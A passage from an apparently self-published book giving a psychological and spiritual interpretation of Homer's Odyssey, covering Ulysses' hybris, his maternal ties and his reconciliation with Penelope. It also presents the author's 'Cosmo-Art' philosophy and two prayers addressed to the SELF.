the hatred that these traumas created in him. It is as if there is a labyrinth inside of him (see Chiarini: “Odisseo e Il labirinto marino” {Odysseus and the marine labyrinth} ) where many monsters are hiding who are ready to suddenly come out and devour him. He is possessed by the passions of the Global I, and especially by greed, pride, hybris, envy and by his homicidal and suicidal urges. He is possessed by the thousands of expectations that assail his life just as the arrogant Suitors place a siege on his house, with Penelope as their accomplice. The Suitors say of her: We were courting the wife of sir Odysseus, who had been away a long time; and she neither rejected the despised wedding nor did she go through with it,
101
while she prepared our destruction. (Od. XXIV) The journey from Troy to Ithaca is a way for Ulysses to courageously relive this internal labyrinth, to bring the monsters to the surface and free himself of his hatred, his passions and his arrogant demands. It is a journey he undertakes so he can learn the truth about who he is and what he is made up of. It is a trial that allows him to transmute himself and become a free man, who is capable of loving and forgiving others, capable of loving and forgiving himself as well; he becomes capable of extracting beauty from ugliness, of creating secondary beauty, that is born of the fusion of the I with the SELF, the I with the You, the I with Us and the I with the Cosmos. In this way a single living organism is created, whose life lasts forever. It is a journey that manages to blend cosmic forces with human ones to create a single living organism and create the type of immortal life that nature or the cosmos alone cannot create. One kernel of corn or any type of seed contains the life that was put there by nature. This life can generate new life but it must always pass through death. A work of art contains the life that was infused into it by the artist that created it. This life form is autonomous and is separate from the artist. Once it has been created it doesn’t die, it does not have to pass through death. This is a type of power that an artist has but that nature does not possess. When a man and a woman create secondary beauty, when a group creates secondary beauty, they have created a life form that has an immortal soul that will not ever have to die. This is the type of power that Cosmo-Art attributes to human beings. Certain rules and conditions apply and they have been described in my books The Ulysseans and “La nascita della Cosmo-Art” {The birth of Cosmo-Art}. This immortal soul does not end up in heaven: it can travel from one universe to another, for eternity. This immortal soul renders those who created it immortal and it also makes the universe we belong to immortal. This immortality goes beyond the matter of the body and the matter of the universe. Matter can dissolve but an immortal soul that is the condensed energy found in secondary beauty will never dissolve.
102
By reading the Odyssey it does not seem that Ulysses is hated by any of the other Achaeans. His companions most certainly both love and hate him and they betray him terribly at least twice. The first time is when they open the bag of winds given to Ulysses by Aeolus, because they are envious of this gift, and they lose sight of Ithaca which they had already glimpsed on the horizon. The second time is when on the island of Trinacria they break the oath they had taken to not touch the oxen that were sacred to the sun god. They kill and eat them, which unleashes Zeus’ fury and they are all killed. The one who hates him terribly is Poseidon, the god of the sea and the father of Polyphemus. Beyond the fact that Ulysses blinds Polyphemus, there is a reason that can better justify Poseidon’s hostility. When Ajax returns towards home after the fall of Troy, he runs into a huge storm that threatens his life. Poseidon comes to his aid and saves him, but Ajax, acting out of his stupid arrogance, belittles the gods and brags that he had saved himself. At this point Poseidon, as narrated in the Odyssey (Od. IV, 505-511), breaks a cliff where Ajax is standing in two, causing the part he is sitting on to crumble, thus killing him. ... and Poseidon heard him speaking his arrogant words and so he immediately took up his trident and struck the Gyrea cliff and broke it in half. Part of it stayed where it was, the other fell into the sea, and that was where Ajax stood, so he was carried away with it into the infinite sea. That’s how he died, by drinking seawater and drowning. The Greek gods do not tolerate the hybris of human beings. Ulysses expresses all of his hybris when after he manages to get out of Polyphemus’ cave he arrogantly makes fun of him. But we will specifically look at his hybris later on. ***** Ulysses is ugly and he hates himself because he is not handsome. He is not tall and imposing like Agamemnon, he isn’t strong like Diomedes and he is not an athlete like Achilles. He’s short and stocky. He is a gifted speaker and he is often chosen for missions where oratory prowess is needed.
103
He isn’t rich like Menelaus and Agamemnon. He is the king of a little island, Ithaca, where the only wealth is found in herds of cattle, sheep, goats and pigs. Homer chose Ulysses because Ulysses does not love himself and he doesn’t know how to love, but he wants to learn how to love himself and to love another. By continually comparing himself to others, Ulysses believes that he is “no man” and he does not deserve love. This is why he introduces himself to Polyphemus with this name: ... “my name is Noman, my mother and father call me Noman as do all my companions”... Od.IX, 366-67) He most certainly thought of this name beforehand, when he was camped out beneath Troy’s walls and he was suffering from horrible envy towards the other Achaean princes who were all handsome, rich and powerful. Polyphemus says to him: I have been long awaiting that a great and handsome hero would come here, full of enormous strength. instead this skinny little nothing has blinded my one eye, after he got me drunk on wine. (Od.IX, 513-516) At the beginning of his journey Ulysses is full of too much hybris, that is, of too much pride, too much arrogance, too many expectations, too much greed, too much envy and too much hatred that are hidden in his soul. This is his madness. He is a warrior and a predator. But not only is he crazy, but both madness and wisdom are intensely present within him. Homer needs a character like this so he can demonstrate how one can transform himself and his own darkness and how one can become a master of life for himself and for others. A master of knowledge of himself and of life. A master that knows how to blend the parts within himself and how to meld with the cosmos. A master that knows how to recognize his own madness as well as his wisdom, a master in the art of loving himself and in the art of forgiveness and love, a master that knows how to create that immortal beauty that both he and the whole cosmos are in need of. He chooses Ulysses, because Ulysses is a man who has not yet been born, he has not yet completely left the maternal womb and, unlike the other Greek heroes, is willing to face any type of pain so as to be born completely.
104
Being completely born means deciding to free oneself of: − repressed hatred that has been carried inside from intrauterine life onward, due to the trauma experienced there and especially due to the trauma of rejection and abandonment − his hybris that forces him to believe he is an absolute every time he is competing against someone else − his internal monsters that devour him many different times and in many different guises − his greed that is typical of a fetus that is never satiated, in proportion to how lacking his relationship with his mother is − his envy of all the goods his mother possesses and that he would like to take for himself − his complicity with the seductive, castrating mother that doesn’t want her son to detach from her and become a free man. All of Ulysses’ experiences, first during the ten years in Troy and then during the other ten while he travelled from Troy to Ithaca, are sustained by a definite desire to be fully born, even at the cost of the many woes he will have to face. Every step of this journey is described in the Odyssey. What we know of the other Greek heroes does not speak of a similar type of journey, nor does it indicate they were men who were completely born. Achilles is completely enmeshed with his mother and the only way he can free himself of this symbiosis is to die in battle. His hatred for his mother is his hatred towards himself: so as to not leave his hatred behind, he lets Patroclus, the person he loves most in all the world, go to battle and die. He causes infinite grief for the Achaeans just so he can get revenge on Agamemnon, who acts like a spoiled and irresponsible child. Agamemnon is the best representative that Homer offers in the Iliad of hybris, made up of pride, omnipotence, arrogance and stupidity. Ajax despairs and goes mad because he cannot have Achilles’ weapons instead of Ulysses, who also wants them. As far as his “arrogant speaking” goes, that causes his death, we mentioned that before. Homer speaks at length of the Suitors who have an “arrogant heart” (Od.I,103) and he dedicates at least half of his poem to the description of how they are destroyed. For the Greek heroes, the destruction of Troy is like the destruction of the mother and, coincidentally, this can only happen after Ulysses and other warriors
105
hide in the wooden horse (in a wooden uterus). Hatred for the mother begins in the womb. The idea for this horse that will bring Troy’s destruction comes from Ulysses. In the uterus where Ulysses was conceived, he becomes familiar with hatred. His need to vindicate himself with his mother begins. When a mother takes over the life of the child that she is carrying, her uterus becomes like wood and it is no longer of flesh like it should be. This causes the child immense pain and much anger and hatred springs forth from it. Anticlea is a mother who is enmeshed with her son and this explains why she dies of heartbreak when Ulysses takes so long to return to Ithaca. I believe that this enmeshment that exists between Anticlea and Ulysses gives rise to another one between Ulysses and Penelope, right after the first year of their marriage. Only this enmeshment can explain why Ulysses refuses to honor his oath and leave immediately for Troy, as do all the other Greek princes. Ulysses pretends he is crazy to avoid having to leave, but Palamedes figures out what he’s doing by putting his baby son Telemachus before his plow. Once he has been discovered Ulysses leaves for Troy, but he gets revenge on Palamedes as soon as possible by making sure he dies. Homer chooses Ulysses because Ulysses is a courageous, cunning, patient and tenacious man, but above all he chooses him because Ulysses knows how to pray, with a special type of prayer that is not to be found elsewhere either in the East or the West. What I have understood about Ulysses’ way of praying is similar to my own way of praying. I have discussed this in detail in my paper entitled “The Prayer of the Ulysseans” (see next chapter). I have decided to include here the whole text of this prayer, with some added commentary, because I consider it to be of fundamental importance and an integral part of this book. This type of prayer is one of the focal points of the whole Odyssey and of Ulysses’ alchemical path. For centuries the Greeks read and commented on Homer but they never caught the importance of this new form of prayer. There is no evidence that this prayer was ever taught and practiced. I have a very harsh way of looking at this fact: it’s easy to pray by offering animals as sacrifices; it is very uncomfortable, instead, to pray by offering parts of oneself in sacrifice, parts that must die so one can become virtuous and wise.
106
Ulysses is the ultimate hero because he accepted losing everything he had and everything he was, in various moments throughout his life, so he could transform himself from a man mostly controlled by his fetal I to a man capable of creating an immortal type of beauty that today we can continue creating. Finally, Ulysses is loved by Athena, as we can see by what the goddess herself says about him: And I cannot leave you alone with your anguish, because you are gentle, wise and careful. (Od. XIII, 331-332) *****
107
CHAPTER XXIII
THE PRAYER OF THE ULYSSEANS There are many types of prayer. It is praying when we ask someone for help (our ancestors, the gods, a God); we have examples of this type of prayer throughout the millennia found in thousands and thousands of archeological findings. Still today this is the most common form of prayer. It is a weak form. I adhere to a much larger definition of prayer. Asking that something be given, even when it should be our given right, is prayer. For example, by asking our internal positive mother to give us what was taken away by the negative mother we obtain a double effect: the first is the reconstruction of the internal positive mother, like a benevolent presence that takes care of us; the second is the liberation from feeling guilty about wanting to get back what was violently taken from us by arrogantly demanding it. These two effects generate a third, that is most rare and precious: the ability to actually enjoy having our rights, that we have recuperated by receiving a gift rather than simply taking it by force. I would call this a strong prayer and an example translated into words could be: “Mother, would you please give me back the freedom you took away from me?”. This type of request contains at least three things: a) the ability to put aside one’s hurt pride, b) the ability to forgive one’s mother and c) the ability to recognize that the mother does have a positive side. Acting in this way is a way of expressing love for ourselves even more than expressing love for the mother. And it is like travelling around the moon and discovering the other side of the moon, the side that we usually cannot see but that does exist. Expressing gratitude to Life is a prayer. As is expressing appreciation to someone who deserves it. This is a type of prayer that dispels envy and introduces justice in relationships between people..
108
Intelligence and willpower are helpful for many things, but in many situations we don’t know what to do, we don’t know what to choose, we don’t know how to act. We are surrounded by darkness and we don’t know how to get out of it. In these cases it is important to turn to the precious help prayer can offer, as a possible source of light within ourselves and that materializes only if we learn how to pray. In this sense, prayer is an indispensable action if we want to go from living life as thieves to living life as a gift and from living life as violence to living life as a work of art. If we observe our existential reality, we can see that it is not only the I Person who prays, but it is also the Corporeal I, the Psychological I and the SELF, each one with its own way of doing so. The Corporeal I prays when it turns to the I Person and asks it to heal its physical ailments or to simply give it food, rest and play. The Psychological I prays when it asks the I Person to decide to do something about healing its psychological problems. The SELF prays when it knocks on the door of the I in a thousand different ways so it will decide to listen to it and carry out the transformations that are necessary, according to the laws of life. The artist prays too, when he invokes a Muse to receive inspiration when there is none to be had, and he prays even more when he is swimming in the torment of creation. This prayer is not known as such, but it is indispensable just the same. I think it is only right to call it prayer. *** To somehow define the structure of the I Person, let’s say that it is a spiritual principle that makes decisions based on love and on hatred, it decides to be free or to be a slave, it decides to be true or to be false, it decides to be a victim or to be an artist of its own life and of the life of the universe. The I Person is the living spiritual principle that chooses whether to value itself or to despise itself; it chooses to embrace certain values and which values have meaning rather than others; it chooses which dreams and projects it will follow; it chooses whether to have hope or to surrender to nihilism. The fact that the Psychological I, the Corporeal I or the SELF most certainly cannot make any of these choices by themselves offers ample proof that the I Person exists. Therefore we can also make the affirmation that the gene for prayer, that might explain why some pray and some don’t, will never be found.
109
Prayer, too, is a free choice made by the I Person, helped along or hindered by the culture and the environment it lives in. The type of prayer that I want to draw your attention to, is the best way to accomplish a fusion between the I and the SELF, the Personal SELF and the Cosmic SELF. It is action-reflection-dialog that requires years of practice so that this fusion can come about. To avoid any danger of mystical alienation, I want to make it clear that this fusion is not an end in itself. Its purpose is to transform the I and to create a fusion between the I and the Life of the Cosmos, between the I and a You of a man and a woman. This last fusion is the most difficult to achieve for human beings. As history shows us, not only is not everyone capable of realizing it, but many are downright against it. We are living beings and we therefore possess life, but our will is almost always in opposition to Life. Our constant disappointment is that “life never goes the way we want it to” and this is a clear example of how there is no fusion between ourselves and Life. The fact, then, that the I and the You are in constant conflict is another clear example of how a fusion does not exist between an I and a You, even when the two are very much in love. *** Homer tells us that Ulysses turns to prayer many times. His prayers are directed both to Zeus and Athena. When Zeus responds, either the god Hermes arrives, or a lightning bolt comes out of a clear sky. Hermes appears to tell Ulysses how he must deal with the enchantress Circe and how he can win her favor; he comes to tell Calypso that Zeus wants her to let Ulysses go and that Zeus’ decision is final. When Ulysses decides to kill the Suitors, Zeus sends a lightning bolt so his approval is visible. When Ulysses prays to Athena, she doesn’t always show herself to him, but Homer tells us that the goddess often acts even before he formulates his prayer. She does so by coming to his aid so that he can reach Ithaca, step by step, the island of secondary beauty. If we look at Zeus and Athena as being inner parts of Ulysses, we can see that Zeus represents a will that cannot be bargained with as well as unexpected help that arrives suddenly, when he has lost all hope. Instead, Athena represents Ulysses’ wisdom, that works for his wellbeing, often unbeknownst to him. In the very first lines of the Odyssey, Homer affirms that this wisdom can be found within every human being.
110
The will that cannot be bargained with, in my opinion, belongs to both the laws of life that we carry inside ourselves, and the Cosmic SELF, which contains a cosmic will that is greater than our own. This will works toward the realization of a global purpose that our intelligence is often incapable of understanding ahead of time. The unexpected help is an expression of the deep resources of human beings, resources that we often do not utilize. Ulysseans also pray to their SELF (Zeus and Athena), because they know that without prayer they cannot become artists of their own lives and of the life of the universe. Prayer is an energizing action that allows the I to overcome its fears and find the courage it doesn’t yet have to make the right decisions. It is also a space that is created inside of ourselves, where the I becomes capable of undergoing the kinds of changes it must make so it can see what it doesn’t want to see and can do what it normally doesn’t want to do. Prayer is an energy field that is built up every time the prayer expands. It allows the I to gradually reach a fusion between the I and the SELF. This fusion is an indispensable goal for those who want to transform their life into a work of art. *** The SELF is the first basic “You” within the I. (When the I is not specified, we are always referring to the I Person , which is the central subject of the human individual). The I and the SELF form a couple of opposites that contains both attraction and repulsion, just like in the male-female couple. And just like there is an inner male-female couple and an external one, there is also a SELF that is partly internal and partly external. It speaks to us from within and also from outside ourselves. Between the I and the You in a couple, there can be passion and feelings of being in love, but when these end hostility or indifference take their place. At this point one is faced with a very basic decision: should one give up on the couple relationship, or should one instead keep aiming for the goal by transforming oneself? The I and the SELF do not fall in love with each other. Sometimes they wait for each other, and look for each other. Sometimes there is a sudden enlightenment. Sometimes there is a deep estrangement between them, caused by the hybris of the I and its theomania.
111
But the I without the SELF is like an artist with no talent and lacking in inspiration. It will never produce anything that becomes immortal. Sometimes the SELF reveals itself to the I in all its light, but this happens only after the I has battled for a long time and has waited for the light to be created. It happens only after the I has gone through all the darkness that it must experience. We must not forget that stars, before they produce light, are only a dark cloud. Why should we be any different? Often our darkness is made up of ignorance and fear, of pride and expectations, of arrogance and insolence, of lies and power and control. Other times the darkness is a simple natural fact that is caused by the quality of the matter and the spirit we are made up of. Therefore darkness belongs not just to dark matter, it is found within the I and its purpose is to macerate the I in its powerlessness and prepare it for its encounter with the SELF. When this process is complete, the SELF reveals itself and the I is filled with light and joy. During this process prayer is an indispensable element. It accelerates the maceration of the I and of its willfulness and thus opens it so that it can fuse with the SELF. *** I will now show you a form of prayer that has been very useful to me when I had to turn my life inside out like a glove: Oh my SELF, Lord of my life And child of my love And my courage, Whatever You want Is right that it happens And wherever You want to go I want to go too. Only help me understand: Why did You put me In this situation? And what is it That You want me to do?
112
When You want Then it is time And when You want I will arrive at the island Of secondary beauty. Even if it seems Like misfortune Whatever You want Is my advantage. But tell me: What do You want me to create Out of so much pain? And what is wrong Inside of me That I must Transform? Even though sometimes I feel I am falling Into the abyss If You want me to For me that’s fine And this is why I have courage. Before I become You And You become me. While I die and Am reborn To reach my dreams And Your dreams In your arms I find my repose. *** Sometimes it can happen that the first time you try this prayer you will feel afraid. It’s a good sign if that happens. That means that the words touch on important points within our way of being and we are filled with a strong desire to change as well as with a refusal to do so. We are now living in a time when no one accepts that there is a power greater than ourselves. We don’t want anyone to have power over our lives, whether we are right or wrong.
113
Nor do we accept to leave behind our current identity so we can acquire a better one, even though this is an ineluctable law of life that we do so. We don’t want to have to experience emptiness and we are afraid of going towards the unknown. We don’t want to give up our will to consider ourselves an absolute, nor do we want to stop imposing this absolute on others and on life. Now, the truth is that we are not an absolute and the SELF transcends the I and has a power that the I does not have. The SELF contains the purpose that the I must achieve during its life and this purpose was given to it by the Cosmic SELF. Sometimes one’s life purpose becomes clear during childhood; sometimes it is revealed day by day, year after year. Sometimes it moves forward in a linear fashion and others it has a dialectical movement, where it passes from one opposite to the other until it finally makes a synthesis. During this journey the I does not have the ability to look beyond its own nose: the SELF does. This is why I say that the SELF is the Lord of my life. We must understand that we can overcome our fear if we think that the virtue of courage is not an absence of fear but an ability to overcome it; we can overcome it if we remember that we have the power to create things that do not yet exist, but only if we begin to believe in our own creative power and to trust in it. The SELF can exist by itself but it does not exist in our lives unless we create it; this is why I say that it is the child of our courage and our love. We can overcome fear if we have a purpose, a dream or a myth to follow. Secondary beauty can be an example of this, if we are convinced that our life becomes alienated and senseless if we do not fulfill our purpose or follow our dreams and our myths. Starting in the nineteen sixties, I created my second life with the help of this prayer. It was very painful but it was also very exciting. This prayer also helped me to face my own long odyssey so I could become capable of creating a couple relationship and capable of loving a woman. This, too, was a journey full of many woes. *** If someone would prefer to begin by using something a bit easier, I can suggest another prayer of mine: My Father who art In the deepest part of my heart Make it so that You Don’t remain Unknown to me.
114
May Your wisdom be done And not mine And make it so that I can unite My will with Yours. Don’t give me just Daily bread Give me also A fragment of your soul So that I like You Can create one for myself. Just as the birds in the sky And the lilies in the field I have no debts nor debtors Because life is a gift And everything is a gift: Joy, pain and trouble. But like the lilies and birds are here today And gone tomorrow I too will one day vanish into nothing Unless you help me Make myself into an artist And make my life Into a work of art. And finally, Tempt me if necessary, But free me of perfectionism And so it is. May thy wisdom be done And not mine. *** These two prayers are based on the metapsychology which is at the basis of Existential Personalistic Anthropology and of Cosmo-Art. From the time of conception onward, the I is both one and it is four. The I is together the I Person and the Corporeal I and the Psychological I and the Transcendental I or SELF. This is because all four of these components belong to the same single subject. But since these four components found in the I are all opposed among themselves, often people are full of conflict. Sometimes it happens that they are all in harmony amongst themselves, due to a gift of nature. It is more often the case
115
that at best they are in battle amongst themselves, and at worse they are split, meaning they are thousands of light years away from each other. To be able to bring them all together in harmony is the task of the artist who wants to make his or her life into a work of art. I personally had to begin with harmonizing, first of all, the I Person and the SELF. I did this with the help of the first prayer above and with the help of the Corporeal I, which for me was the book from which I learned to read the voice of the SELF. I do know that this type of opportunity is not given to everyone, and those who do not have it must look for other opportunities, but this was the one given to me. Only after having achieved this first unification was I then able to descend into the abyss of the Psychological I and, after that, into the abyss of intrauterine life. First I explored them and then I transformed them, one by one, with infinite patience and constancy, and through enduring great pain. My couple relationship was an indispensable help in being able to carry out this task. Gradually, after this unification, I went on to create a fusion, and this task is not yet complete. I can say, however, that I am at a good place with it, and being so has allowed me to explore in some way the cosmic and the ultracosmic dimensions. In doing so I was able to formulate the theorem of Cosmo-Art and the myth of Cosmo-Art or secondary beauty. *** I would never have been able to undertake this journey had I not dedicated many hours to prayer, or to the action-reflection-dialog between my I and my SELF. First of all, prayer is an action that creates the space necessary to be able to dialog with the SELF; then it is action-reflection that creates two other spaces, one where the SELF can be heard and one where we can decide whether or not to say yes to its requests. We must first imagine the changes we must make, by looking at ourselves from above and from below; by using two different points of view that are completely different from each other. Secondly, prayer is the action that decides to make the changes, or rather to go through with a transformation and to make possible what was formerly impossible to do. Third, it is reflection that becomes intuition. Intuition allows us to see what was previously impossible to see, and at this point action becomes creation. It becomes creation of oneself and creation of a new world and a new life.
116
This phase of “creation” is very important in clearing up how the I must interact with the SELF. We are all children of an ancient tradition that tells us that we must accept God’s will and resign ourselves to it. God decides and human beings must only obey. This is a tradition that must absolutely be changed if we want to follow the path of fusion between the I and the SELF. The SELF decides, this is true, but it demands that the I transform and create something that is very different from that which it had decided upon. From the synthesis of two opposites, where fusion is a synthesis of opposites, something is created that is entirely different from the two elements that were present before. An artist that works with marble and stone is faced with two realities that are opposites to his own. These realities must indeed be accepted but the artist must be able to completely transform the essence and the existence of marble or of stone. They must be transformed into the essence and existence of a specific work of art created by a specific artist. There is an acceptance of the marble’s reality, but it is a dialectical acceptance, that must both be present and not be present; what must appear in its place is a new reality, a living soul that the artist has transmitted to the marble. When the SELF’s will means we must face adversity or a loss, the I must accept it but it also must be transformed so that new life can spring from adversity and loss. It is the I that creates this new life, not the SELF. This is why in the first prayer it is written: “What do you want me to create From so much pain?” *** Coming back to Homer and the Odyssey it can be helpful to now reflect on two things. The first: Athena cannot do what she wants to do by herself; she must first obtain Zeus’ permission. This helps us understand why the Personal SELF and the Cosmic SELF are always in close contact. The second reflection: everything that Athena does for Ulysses is to help him reach Ithaca. But Ithaca is not the final goal, nor is it the ultimate purpose of either Athena or Ulysses. The poem does not end after the story of how the Phaeacians leave Ulysses while he is sleeping on the shores of Ithaca. If this were the case, the return, the greatly proclaimed “nostos” of the poets and writers, would have been concluded here.
117
Homer is not thinking about the “nostos”. From here on there is yet another half of the poem that tells how Ulysses must reconquer his palace and especially Penelope’s heart. It took ten years of keeping Troy under siege and then the cunning idea of the wooden horse to be able to break down the walls that held Helen, the contended woman. It took another ten years (the whole odyssey by sea) of keeping Penelope under siege, as well as Ulysses’ cunning in pretending he is a beggar and his decision to take up the challenge of the bow and arrow, to penetrate Penelope’s heart of stone. It took all of this to break down her childish pride and obtain a heart of a woman capable of loving a man to emerge. It took twenty years for Ulysses to become a man capable of loving a woman. Why should we be surprised that it took Penelope just as long to become capable of loving a man? If the SELF is the first fundamental “You” for a human being, the other fundamental “You” is the one represented by one’s partner in a couple relationship. It is not one bit easy for the I to open up to a You, to encounter a You and decide to meld with it, as happens in nature every time new life is conceived and sperm and ovum merge. Nuclear fusion and the birth of a star are works of art of nature. So is the fusion of two gametes and the birth of biological life. Nature alone cannot create the fusion between an I and a You, so as to create a lasting union between them. When this occurs it is a work of art made by the man and the woman, who are united in a common goal: the fusion of the masculine and the feminine principles, to create secondary beauty. According to what Homer says in his poem, this is Ulysses’ true purpose, this is Athena’s true purpose. This purpose is one that neither the gods nor human beings can achieve by themselves. It is a goal that can be reached only if the gods work together with human beings and if human beings collaborate with the gods. Human and divine forces (we’ll call the cosmic forces divine) meet through prayer so they can create secondary beauty in a Cosmo-Artistic way. *** The human condition experienced by both men and women is to remain imprisoned for a long time in the maternal and the paternal dimensions. This is true until both of them manage to free themselves of the entangled ties that keep them anchored to the past, and they find a way to completely take control of their own lives
118
and their ability to love a You. Homer thinks, and I agree with him, that to do so it is necessary to go through a long siege and a long odyssey, topped off by a final battle. The long siege is narrated in the Iliad, the long Odyssey and the final battle are narrated in the Odyssey. If we look at both poems it would seem that both are talking about the same thing: that a siege and war are necessary to conquer a woman. But this is not the case. The second Homer is more mature than the first and he has a deeper knowledge of life and of the male and female soul. He also has a second goal in mind, to create beauty that has not yet been created, not just to conquer beauty that already exists. There are many heroes in the first poem but none of these heroes is capable of transforming himself and becoming a man. They are capable of doing great things, but none of them is able to overcome the ties that bind him to the maternal dimension. Achilles remains a prisoner of the maternal dimension and dies. He wanted glory and he got it, but in Hades he mourns the life he lost. Agamemnon is a proud, stupid child that first is the reason the Achaeans must face so much loss and then ends up running blindly into Clytemnestra’s revenge and betrayal. Ajax dies a crazy man because they take Achilles’ weapons away from him. (Is this not similar to the desperate tears of a baby whose teddy bear has been taken away?). Ulysses takes his booty, glory and weapons but his inner child is still buried within him and it is even more difficult to conquer than Troy. He will have to meet Circe and stay a long time at sea before he can face the descent into Hades, look himself in the face and then decide to transform himself. Hector, instead, had the love of Andromache, but he did not know how to listen to her, or he didn’t want to. He too preferred glory over developing a love relationship with a woman. What is glory except for the evasive image of the mother who empties you of your life and that you can only hold for a moment? Homer becomes aware of the nothingness that his heroes have devoted themselves to, and in his own heart he regrets this. He chooses one, Ulysses, and around him he builds a second poem so he can fill the gaps left in the first one. *** Helen was a child. She was like a Barbie doll, a toy held by other children. Many Greeks and Trojans risked their lives to help her become a woman. Were they able to do so? Maybe. Nausicaa was a child who played with other children, before Ulysses came along and woke up her desire to become a woman. Penelope was also a child. But she was a killer child who was not willing to forgive Ulysses for having taken her away from her father and her homeland through
119
the violence of an exchange. Nor would she forgive him for having left her alone for twenty years. Ulysses risks his life twice to help awaken Nausicaa; once when he is about to drown after having lost his raft and the other time when he runs the risk of being smashed against the rocks when he tries to get near shore. Ulysses risks his life a thousand times to awaken Penelope. He risks it every time he must fight a sea monster; he risks it every time he allows himself to be seduced by a woman; he risks it in his own palace where the Suitors are camped, with Penelope’s ambiguous consent, and are plotting his own death and the death of Telemachus. During his long odyssey by sea Ulysses accumulated experience and knowledge of women who, in one way or another, were always trying to kill him. These women were all different versions of a same woman, his mother, who had tried to kill him while he was in her womb, first by rejecting him and then by loving him in a possessive and devouring manner. It was a long, difficult road for him to free his life from the maternal dimension and yet keep his life in tact. It is not easy to help a woman free herself from her ties with her mother and not suffer the consequences. One must risk one’s life a thousand times and one must also know how to save her. One must know how to forgive a thousand times and never give up, never give up hope. Men and women today don’t like to have to risk their lives and they don’t like to forgive. They prefer to run away. They escape into their own alienation from themselves, they escape into their work, they escape into victimhood and masochism. They escape into nothingness and into death. Homer had understood this three thousand years ago and with his poems he wanted to give us the gift of his deep understanding of this and of his wisdom. When he talks about Ulysses, he is speaking of himself. When he talks about Penelope, he is still speaking about himself. I have read many books on Ulysses and especially on the Odyssey, but I still have not found a single author that journeyed inside him or herself to understand what Homer was trying to say about himself and what he wanted to say about the destiny of men and women, of the meaning of life in this universe and of the meaning behind life’s belonging to this universe. Is it possible that the myth of Ulysses is all contained in his hunger for knowledge and in his desire to travel, or in his wish to return home? I have the feeling that the authors I have read up until now all repeat what the others have already said. They see only one aspect of Ulysses. They don’t see all his other aspects. Why is it that no one tries to explain why Ulysses rejects the gift of immortality that Calypso promises him, when everyone knows that Greek mythology is full of personages that aspire only to become immortal?
120
Why does Homer differentiate himself from the others on such an enormously important point? What is this mystery? I have found my own answer to this question and I won’t repeat it here (see A.M. The Ulysseans, Sophia University of Rome, 2009). All I will say here is that just as DNA invented its own way to become biologically immortal, through the fusion of male and female chromosomes, Ulysses, through his fusion with the unconquerable Penelope, also invented his own way of reaching immortality. He does this not by becoming a god or a semi-god but by becoming a mythological archetype that will never cease to fascinate human beings. From this myth we learn that not simply an encounter between the I and the You of a man and a woman, but a fusion of them, is a way we can give birth to our own immortality and secondary beauty. This is Homer’s gift to us; this is, in my opinion, the true essence of the myth of Ulysses, which has still much to be discovered. Ascetics, hermits and monks dedicated most of their lives to the search for a mystical union with God or to save their souls, which was already immortal but that risk eternal damnation (remember St. Benedict’s rule: “Ora et labora” {Pray and Work}?). These people had before them role models of people who searched for the encounter and fusion with the Absolute, but they had no role models of people who look for and create a fusion with a human You. This millenary tradition represented a negative weight on my life for a long time, and it was not easy for me to free myself of it. To the same degree the search for an angelic woman, which Dante upheld as an ideal, caused me much damage. Ulysses of the Odyssey was of great help to me in changing my perspective. *** To propose the fusion of an I with a You in a time like now where the number of separations and divorces continuously grows can seem like madness. This might be true, but if extreme evils require extreme remedies, if desperate conditions require impossible ideals, why not decide to not fall into the common pit? Only by proposing what others dare not to do is a good way to get the hidden resources in human beings to jump to life and help us leap towards impossible and unknown goals. This is how hominids evolved into humans and this is how every leap forward in the evolutionary process has been achieved.
121
The mystery of nuclear fusion that gives birth to the stars was revealed to us as the result of years of scientific research. Before that no one knew what it was or even that it existed. My wife and I described the fusion between an I and a You in our paper presented at the Sophia University of Rome congress in Assisi in 1987, entitled “Unificazione ed armonizzazione del principio maschile e del principio femminile” {The unification and the harmonization of the masculine and feminine principles}, published in the magazine Persona n.14 – March1988, and as a special insert in the paper “Gli Ulissidi” {The Ulysseans}, May 2000. Here I would like to add another reflection that is important, as it clearly underlines the transformation that happens in Penelope’s heart. For three years she deceived the Suitors by telling them she was weaving the shroud for Laertes’ funeral: And first a god inspired me to weave a shroud,... ... during the day I stayed at my loom weaving and at night I would unravel everything, with torches for light”. (Od., XIX, 138-150 ) In these verses we can find a clue about how Penelope prayed. In conflict over whether or not to remain faithful to Ulysses or to get remarried, Penelope asks for help through prayer. A god gives her the idea of the shroud. Prayer and weaving become a single action. But this action is not enough, it only serves to gain some time. The decisive action takes place when Penelope is speaking to Ulysses who is hiding behind the disguise of a beggar. She has another idea, this too most certainly inspired by her SELF, and that is to propose a competition that is connected to a memory she has of Ulysses: “...whoever can more easily string the bow with his own hands and can send the arrow through all twelve rings, I will choose him, and with him leave this palace...” (Od., XXI, 75-78) Weaving is an exquisitely feminine activity. Stringing a bow is a typically masculine activity and the bow is Apollo’s favorite weapon. Apollo is the god of the arts, and as we know art is always a fusion of opposites. We could think that the bow is an excellent representation of the fusion between the masculine and the feminine principles, where the curve of the arch symbolizes the feminine and the arrow that flies symbolizes the masculine. The fusion of these two forces, masculine and feminine, makes for maximum efficiency in action.
122
This competition with the bow will end up being decisive in giving Ulysses the best possible weapon to kill off the Suitors. He would not have had it if Penelope hadn’t made this proposal. Weaving was a deception, proposing the competition with the bow and arrow was the winning action. This shows us that Penelope had changed and she had made an important step forward in becoming a woman and in loving a man. This is where the creation of secondary beauty resides, of a beauty that does not yet exist and that must be created so it does. Prayer is the servant of this creation. *** I like to imagine a new world where human beings devote a lot of time to prayer, not to save their souls, but to give themselves a soul that is truly immortal. I have attempted to explain here that this can happen when we work towards creating a fusion between the I and the SELF and, afterwards, decide to work towards a final goal of creating a fusion between the I and the You of a man and a woman. born. From nuclear fusion a star is born, and afterwards a whole galaxy of stars is Entire universes emerge from subnuclear fusion. Vegetable, animal and human life emerge from biological fusion. These are all living organisms that are born. From a fusion and not an enmeshment between a man and a woman, that are by nature two beings that are completely opposite, a living super-organism is born. Its life challenges death forever and it goes beyond the time-space dimension of this universe. Ulysses forgave Penelope many things and Penelope forgave Ulysses for many things (abandonment, betrayal, desire for revenge, deadly plots and a waste of goods). They have just finished making love, after being separated for twenty years, and they have a whole night ahead during which they can tell each other their stories. Since they have forgiven each other of everything, they can tell each other everything. Everything can be understood in a totally new light, that goes well beyond good and evil. Beyond good and evil there is only secondary beauty, an energy field that is a synthesis of many opposites, including the opposites of good and evil. Now that the I and the You have been fused into One, Ulysses can leave again for the other end of the world, as Teiresias predicted. There is no abandonment, because the I and the You are a Unit that can now look for Others with whom to create a Choral SELF. Everyone can participate in this, no one is excluded. Anyone who wants to can participate in the great project of 